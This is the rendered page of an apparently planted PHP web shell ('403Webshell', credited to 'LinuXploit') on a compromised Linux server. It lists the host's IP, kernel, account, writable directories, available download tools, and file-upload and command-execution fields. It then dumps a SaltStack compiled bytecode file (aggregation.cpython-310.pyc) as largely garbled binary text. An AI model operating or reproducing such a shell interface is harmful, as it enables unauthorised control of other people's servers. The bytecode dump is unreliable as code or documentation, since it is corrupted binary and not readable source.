403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/__pycache__/aggregation.cpython-310.pyc
o

;j��@s�dZddlZddlZddlmZgd�Ze�e�ZGdd�d�Z	Gdd�dee	�Z
Gd	d
�d
ee	�Zdd�Z
d
d�Ze
efdd�Zde
efdd�ZdS)a/
    salt.utils.aggregation
    ~~~~~~~~~~~~~~~~~~~~~~

    This library makes it possible to introspect dataset and aggregate nodes
    when it is instructed.

    .. note::

        The following examples with be expressed in YAML for convenience's sake:

        - !aggr-scalar will refer to Scalar python function
        - !aggr-map will refer to Map python object
        - !aggr-seq will refer for Sequence python object


    How to instructs merging
    ------------------------

    This yaml document has duplicate keys:

    .. code-block:: yaml

        foo: !aggr-scalar first
        foo: !aggr-scalar second
        bar: !aggr-map {first: foo}
        bar: !aggr-map {second: bar}
        baz: !aggr-scalar 42

    but tagged values instruct Salt that overlapping values they can be merged
    together:

    .. code-block:: yaml

        foo: !aggr-seq [first, second]
        bar: !aggr-map {first: foo, second: bar}
        baz: !aggr-seq [42]


    Default merge strategy is keep untouched
    ----------------------------------------

    For example, this yaml document still has duplicate keys, but does not
    instruct aggregation:

    .. code-block:: yaml

        foo: first
        foo: second
        bar: {first: foo}
        bar: {second: bar}
        baz: 42

    So the late found values prevail:

    .. code-block:: yaml

        foo: second
        bar: {second: bar}
        baz: 42


    Limitations
    -----------

    Aggregation is permitted between tagged objects that share the same type.
    If not, the default merge strategy prevails.

    For example, these examples:

    .. code-block:: yaml

        foo: {first: value}
        foo: !aggr-map {second: value}

        bar: !aggr-map {first: value}
        bar: 42

        baz: !aggr-seq [42]
        baz: [fail]

        qux: 42
        qux: !aggr-scalar fail

    are interpreted like this:

    .. code-block:: yaml

        foo: !aggr-map{second: value}

        bar: 42

        baz: [fail]

        qux: !aggr-seq [fail]


    Introspection
    -------------

    TODO: write this part

�N)�OrderedDict)�	aggregate�	Aggregate�Map�Scalar�Sequencec@�eZdZdZdS)rz
    Aggregation base.
    N��__name__�
__module__�__qualname__�__doc__�rr�J/opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/aggregation.pyrr�rc@r)rz
    Map aggregation.
    Nr	rrrrrxrrc@r)rz
    Sequence aggregation.
    Nr	rrrrr~rrcCs
t|g�S)z]
    Shortcut for Sequence creation

    >>> Scalar('foo') == Sequence(['foo'])
    True
    )r)�objrrrr�s
rc
Csx|sdS|dur
dSt|t�rd|dfSzt|d�|dd�}}t|�|fWSty;}zt�|��d}~ww)a�
    Describe which levels are allowed to do deep merging.

    level can be:

    True
        all levels are True

    False
        all levels are False

    an int
        only the first levels are True, the others are False

    a sequence
        it describes which levels are True, it can be:

        * a list of bool and int values
        * a string of 0 and 1 characters

    )FFT)TT�rN)�
isinstance�int�bool�	Exception�log�warning)�level�deepZsubs�errorrrr�levelise�s

��rcCsBt|t�r|St|t�r||�St|tttf�r||�S||g�S)z0
    Convert obj into an Aggregate instance
    )rr�dict�list�tuple�set)r�	map_class�sequence_classrrr�mark�s


r#Fc
Cs$t|�\}}|rt|||d�}t|||d�}t|t�rRt|t�rRt|t�r0t|t�r0t�|�}nt�|�}|��D]\}}	||vrKt|||	|||�}	|	||<q9|St|t�rut|t�ru|�	|dd��}|D]}	|	|vrr|�
|	�qg|St�|�}t|t�s�t|t�r�t�d�|St�
d�|S)zm
    Merge obj_b into obj_a.

    >>> aggregate('first', 'second', True) == ['first', 'second']
    True
    )r!r"Nz6only one value marked as aggregate. keep `obj_b` valuez0no value marked as aggregate. keep `obj_b` value)rr#rrr�copy�itemsrr�	__class__�appendr�info�debug)
Zobj_aZobj_brr!r"rZsubdeep�response�key�valuerrrr�s4


�


r)r
r$�logging�collectionsr�__all__�	getLoggerr
rrrrrrrr#rrrrr�<module>sh

%

Youez - 2016 - github.com/yon3zu
LinuXploit